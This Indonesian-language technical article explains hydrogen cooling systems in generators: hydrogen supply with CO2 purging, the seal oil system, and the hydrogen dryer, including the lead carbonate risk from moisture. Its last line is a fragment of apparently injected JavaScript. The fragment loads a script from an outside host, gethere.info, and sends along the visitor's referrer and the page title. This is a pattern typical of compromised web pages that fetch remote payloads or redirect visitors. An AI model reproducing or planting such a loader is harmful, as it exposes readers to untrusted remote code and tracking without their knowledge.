Sistem Pendingin Hidrogen pada Generator

Sistem Supply Hidrogen

Sistem pertama yang kita bahas adalah sistem supply hidrogen. Sistem ini berfungsi sebagai jalur untuk memasukkan hidrogen ke dalam generator pada saat pengisian awal, sekaligus ia akan menjaga tekanan hidrogen di dalam generator agar selalu berada di atas nilai yang ditentukan.

Satu hal yang menarik adalah, hidrogen sangat dilarang untuk mengalami kontak langsung dengan udara. Sehingga pada saat pengisian hidrogen awal dimana generator masih berisikan udara, digunakan gas inert tertentu yang berfungsi untuk ‘mengusir’ udara dari dalam generator sebelum gas utama yakni hidrogen masuk ke dalam generator.

Demikian pula pada saat proses pembuangan hidrogen dari generator, gas inert akan mengusir hidrogen terlebih dahulu sebelum akhirnya udara dimasukkan ke dalamnya. Gas inert yang paling umum digunakan untuk proses ini adalah gas karbon dioksida. Untuk mendukung proses yang biasa dikenal dengan istilahgassing-degassing ini, sistem supply hidrogen dilengkapi dengan purity meter yang dapat membaca purity hidrogen di dalam udara, sekaligus purity karbon dioksida di dalam udara.

Sistem Seal Oil

Satu lokasi pada generator yang memungkinkan hidrogen untuk bocor keluar yakni pada sisi kontak antara stator dengan shaft generator yang biasa dihuni oleh komponenbearing. Lokasi yang terletak di masing-masing ujung poros generator ini menciptakan potensi kebocoran hidrogen dengan jalan menyelinap di celah sempit bearing ataupun bidang kontak lainnya. Untuk mengatasi hal ini dibutuhkan sebuah sistem sehingga dapat mencegah hidrogen agar tidak bocor ke atmosfer. Sistem inilah yang dinamakan seal oil system.

Sistem Dryer Hidrogen

Salah satu materi pengotor hidrogen sehingga dapat menurunkan tingkat kemurniaanya adalah air atau kelembaban. Jika saja kandungan air yang bercampur dengan hidrogen tersebut dibiarkan berada di dalam generator, tentu akan menimbulkan berbagai potensi bahaya dan kerusakan.

Kandungan air yang bercampur dengan hidrogen akan menurunkan tingkat kemurnian hidrogen sehingga akan secara langsung menurunkan performa generator. Satu bahaya lain yang paling nampak adalah potensi terjadinya sort circuit di dalam generator. Bahaya lain yang mungkin tidak terpikirkan oleh kita adalah, kontaminasi air di dalam gas hidrogen akan berkontribusi terhadap pembentukan deposit timbal karbonat.

Timbal karbonat terbentuk akibat air dan karbon dioksida yang bereaksi dengan timbal dan asam di dalam generator. Timbal karbonat bersifat konduktif, merupakan material poros yang mudah menyerap kelembaban, serta berpotensi menciptakan loncatan api yang memicu kerusakan kumparan generator.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;